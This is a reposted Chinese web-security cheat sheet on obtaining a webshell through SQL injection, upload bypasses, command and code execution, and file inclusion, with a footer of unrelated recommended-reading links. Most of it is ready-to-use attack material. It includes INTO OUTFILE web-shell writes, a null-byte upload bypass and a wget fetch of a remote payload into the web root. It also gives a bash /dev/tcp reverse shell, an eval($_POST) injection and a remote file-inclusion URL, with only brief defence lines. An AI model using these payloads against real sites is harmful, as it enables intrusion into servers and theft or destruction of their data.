(转)Web安全之如何获取一个WebShell
SQL注入获取Webshell ** ** 条件:
1.当前连接Mysql数据库的账户 具有FIle权限
2. 知道网站的绝对路径利用php报错信息
Google搜索报错信息
load_file()读取配置文件信息3.MySQL有权限到网站的目录下写文件
4.单引号不能被转义
利用:
union select '' into outfile '/var/www/html/1.php'
防御:
数据库连接账号不要使用root权限
PHP报错模式关闭
mysql账户没有权限向网站目录写文件
上传漏洞获取Webshell
** ** 条件:
寻找一个上传点,查看上传点是否可用。
利用:
首先判断是程序员自己写的上传点,还是编辑器的上传功能
如果是编辑器上传功能,goole当前编辑器的漏洞
如果是程序员写的上传点
上传一个正常的jpg图片 查看上传点是否可用
上传一个正常的jpg图片,burp拦截,修改后缀为php(可以检测前端验证MIME检测文件内容检测后缀检测)
上传一个正常的jpg图片,burp拦截, 00截断 1.phph%00.jpg
判断服务器是什么类型,web服务器程序,是什么类型,版本号多少利用解析漏洞
任意命令执行获取Webshell
** **条件:
知道网站绝对路径
利用代码执行漏洞读取Apache配置文件,找根目录
执行pwd,获取当前工作路径
Apache 权限对网站目录写文件
网站图片上传目录,一般apache都有可写权限
利用:
index.php?command=echo "" > /var/www/html/phpinfo.php
index.php?command=wget -O /var/www/html/phpinfo.php http://xxxx/phpinfo.txt(wget 没有的话用curl)
防御:
修补命令执行漏洞
其它:
任意命令执行漏洞在不获取webshell 的情况下也可以控制服务器,不需要获取webshell
任意命令执行直接反弹一个shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
任意命令执行可以,执行远程Samba里面的位二进制文件
\\10.0.0.1\shell.exe(远程服务器上的Samba服务)
powershell
任意代码执行获取Webshell
条件:
apache对网站目录有可写权限 (一般都有权限)
利用:
在有写权限,且file_put_contents没有被禁用时
index.php?code=file_put_contents($_POST[f], $_POST[d]);
f=phpinfo.php&d=
在没有写权限的时候,可以直接用菜刀链接
index.php?code={${ eval($_POST[1]);
}}
任意文件包含获取Webshell
条件:
在引用文件时,引用的文件名,用户可控,由于传入的文件名没有经过校验,或者校验被绕过。
利用:
本地文件包含:
上传一个图片马,然后包含图片Getshell
包含日志文件Getshell
包含/proc/self/environ文件Getshell
包含data://或php:input等伪协议(需要allow_url_include=on)
远程文件包含:
需要php.ini的配置选项allow_url_fopen和allow_url_include 为On (很少见)
index.php?page=http://www.xx.com/1.txt
【(转)Web安全之如何获取一个WebShell】**后台相关功能获取Webshell **
一些后台自带有数据库管理执行sql语句、或者执行cmd命令、数据库备份/恢复功能、文件管理功能等等
作者:zksmile
链接:https://www.jianshu.com/p/f4c0469c1efa
Blog:http://zksmile.me
推荐阅读
- 流转
- 一起来学习C语言的字符串转换函数
- 【58】转移注意力
- 考前焦虑——接纳情绪,转移注意力
- leetcode|leetcode 92. 反转链表 II
- 视频转换器哪种好用()
- NeuVector 会是下一个爆款云原生安全神器吗()
- 私有化轻量级持续集成部署方案--03-部署web服务(下)
- 2018年7月11日|2018年7月11日 星期三 多云转晴(18)
- 以太坊中的计量单位及相互转换